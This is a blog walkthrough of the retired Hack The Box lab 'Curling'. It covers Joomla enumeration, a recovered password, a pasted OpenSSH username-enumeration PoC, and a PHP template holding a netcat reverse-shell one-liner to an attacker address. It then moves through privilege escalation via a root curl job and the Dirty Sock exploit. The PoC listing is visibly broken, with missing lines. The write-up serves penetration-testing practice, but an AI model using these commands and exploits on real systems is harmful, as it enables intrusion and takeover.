HTB – Curling

Today we are going to solve a CTF Challenge “Curling”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. These labs are designed for beginner to the Expert penetration tester. Tally is a Retired Lab.

Level: Medium

Task: Find the user.txt and root.txt in the vulnerable Lab.

As these labs are only available online, therefore, they have a static IP. Curling has IP:

Now, as always let’s begin our hacking with the port enumeration.

We see a blog titled “Cewl Curling site!” , and it’s joomla. At this point I would run joomscan but I wanted to do some manual enumeration first , so I checked the source of the page and at the end of the body I found this comment :

So I checked /secret.txt and found this base64 string :


Decoding :

PS C:\Users\jacco> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q3VybGluZzIwMTgh"))

Curling2018! we can use that as a password. But what is the username ? If we take a look at the main page again and read the posts :

We will notice a name in one of the posts : Floris , now we can try to login as floris with the password Curling2018! :

And it worked. While I was doing this enumeration I ran wfuzz in the background and got these results :

c:\PENTEST>wfuzz -c -z file,directory-list-2.3-medium.txt --hc=404
* Wfuzz 2.3.4 - The Web Fuzzer                         *

Total requests: 220551

ID   Response   Lines      Word         Chars          Payload

000007:  C=301      9 L       28 W          313 Ch        "images"
000005:  C=200    361 L     1051 W        14261 Ch        ""
000001:  C=200    361 L     1051 W        14261 Ch        "# directory-list-2.3-medium.txt"
000002:  C=200    361 L     1051 W        14261 Ch        "#"
000003:  C=200    361 L     1051 W        14261 Ch        "# Copyright 2007 James Fisher"
000004:  C=200    361 L     1051 W        14261 Ch        "#"
000071:  C=301      9 L       28 W          312 Ch        "media"
000072:  C=301      9 L       28 W          316 Ch        "templates"
000136:  C=301      9 L       28 W          314 Ch        "modules"
000474:  C=301      9 L       28 W          310 Ch        "bin"
000510:  C=301      9 L       28 W          314 Ch        "plugins"
000629:  C=301      9 L       28 W          315 Ch        "includes"
000861:  C=301      9 L       28 W          315 Ch        "language"
000996:  C=301      9 L       28 W          317 Ch        "components"
001074:  C=301      9 L       28 W          312 Ch        "cache"
001240:  C=301      9 L       28 W          316 Ch        "libraries"
003228:  C=301      9 L       28 W          310 Ch        "tmp"
003538:  C=301      9 L       28 W          314 Ch        "layouts"
005680:  C=301      9 L       28 W          320 Ch        "administrator"
012477:  C=404      9 L       32 W          279 Ch        "axs"
Finishing pending requests...

Also used OpenSSH 2.3 < 7.7 – Username Enumeration (PoC)

root@kali:~/htb/curling# cat 
#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
# Permission is hereby granted, free of charge, to any person obtaining a copy

import argparse
import logging
import paramiko
import socket
import sys

class InvalidUsername(Exception):

def add_boolean(*args, **kwargs):

old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[

def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)

def userauth_failure(*args, **kwargs):
raise InvalidUsername()

paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure


arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'

transport = paramiko.transport.Transport(sock)
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'

transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
root@kali:~/htb/itvitae# pip install paramiko==2.0.8
root@kali:~/htb/itvitae# python --p 22 floris
/usr/local/lib/python2.7/dist-packages/paramiko/ CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead.
signature, ec.ECDSA(self.ecdsa_curve.hash_object())
/usr/local/lib/python2.7/dist-packages/paramiko/ CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead.
[+] Valid username

Let’s go to /administrator and login to the administration panel :

Editing Template Files and Getting a Reverse Shell :

On the configuration section there’s an option for templates :

By going to that we notice that protostar is the default style and template :

From templates we will go to Protostar Details and Files and create a new php file :


In the php file we will execute a system command to get a reverse shell :

    system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 443 >/tmp/f');

After we save the file we will go to

Then we check our listener :

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 55960: NO_DATA
/bin/sh: 0: can't access tty; job control turned off
$ whoami


We got a reverse shell as www-data , in the /home directory there’s a directory for floris :

We don’t have read access to user.txt , but we notice a file called password_backup , by looking at that file :

It’s a hex dump file , So I copied it to my box to reverse it :

To reverse a hex dump file we will use xxd , so xxd -r pw_backup :

Not a normal output , let’s redirect the output to a file and see :

So what happened is , it turned out to be a bzip2 file so I decompressed it then got a new gzip file , decompressed it and got another bzip2 file , after decompression I got a tar file , then finally a txt file for the password :

Let’s ssh as floris :

And we owned user !


By looking at the /home directory of floris again :

There’s a directory called admin-area which contains two files :

input and report

input :

url = ""

report :

It’s obvious that this is the output of executing curl on :

Even the name of the box is a hint curling , so what about changing that url from localhost to something else like a file ? Next time the command gets executed we will get the contents of that file , maybe root.txt ? But only if it’s getting executed by root. Let’s try and see if it will work :

Then we will do : watch cat report , this is executing cat report every 2 seconds and giving us the output , easier than checking manually :

After some time we get the flag.

Dirty Sock ? Root shell !

I didn’t like the fact that I could only read the flag , I wanted a root shell. So I tried for a long time to bypass the url thing and get a reverse shell , but couldn’t. Then when I did this box again for the write-up , one of the things that caught my attention is that we are on an ubuntu box , so I checked snap version to know if it’s vulnerable to CVE-2019-7304 known as Dirty Sock and of course it was :

This is not intended at all because by the time this box was released , CVE-2019-7304wasn’t disclosed yet.

I got the exploit from here , Then hosted it on a python simple http server and downloaded it on the box :


Now we can su to dirty_sock and execute commands as root :

Or just sudo su and we will get a root shell :

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *